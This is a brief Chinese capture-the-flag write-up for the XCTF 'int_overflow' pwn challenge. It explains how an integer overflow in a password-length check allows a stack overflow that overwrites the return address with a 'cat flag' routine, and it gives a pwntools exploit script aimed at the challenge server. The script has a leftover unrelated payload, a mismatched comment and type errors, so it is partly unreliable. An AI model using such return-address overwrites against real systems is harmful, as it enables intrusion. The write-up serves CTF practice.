*pwn*练习5——攻防世界-int_overflow
常规操作就不说了
进1,进入login函数
输入密码后进入check_passwd函数
从汇编代码中可以看到,想要覆盖到返回地址,先使用0x14 个数据覆盖stack拷贝的passed的内存区域,然后使用4字节数据覆盖ebp,再使用"cat flag"的地址覆盖返回地址,最后接上262剩余的数据即可。
payload一共是256+3-256+8这些字节,先填充14+4进行覆盖,再填充跳转地址,再加上剩余的数据让v3达到绕过溢出的目的
from pwn import *
kubopiy=remote("220.249.52.133",59148)#进行连接
elf = ELF("./int_overflow")
payload=b'a'*(0x28+0x04)+p32(0x0804A0A8)#b是字节,填入这么多的a,再加一个64位打包好的覆盖使之能够覆盖seed
kubopiy.recvuntil("Your choice:")#接收到那一句话
kubopiy.sendline('1')
kubopiy.recvuntil("Please input your username:")#接收到那一句话
kubopiy.sendline(1)
kubopiy.recvuntil("Please input your passwd:")#接收到那一句话
payload='A'*(0x14+4)+p32(0x8048691)+'a'*(256+3-0x14-4-4)#再-4是因为还有一个出栈的指令
kubopiy.sendline(payload)
kubopiy.interactive()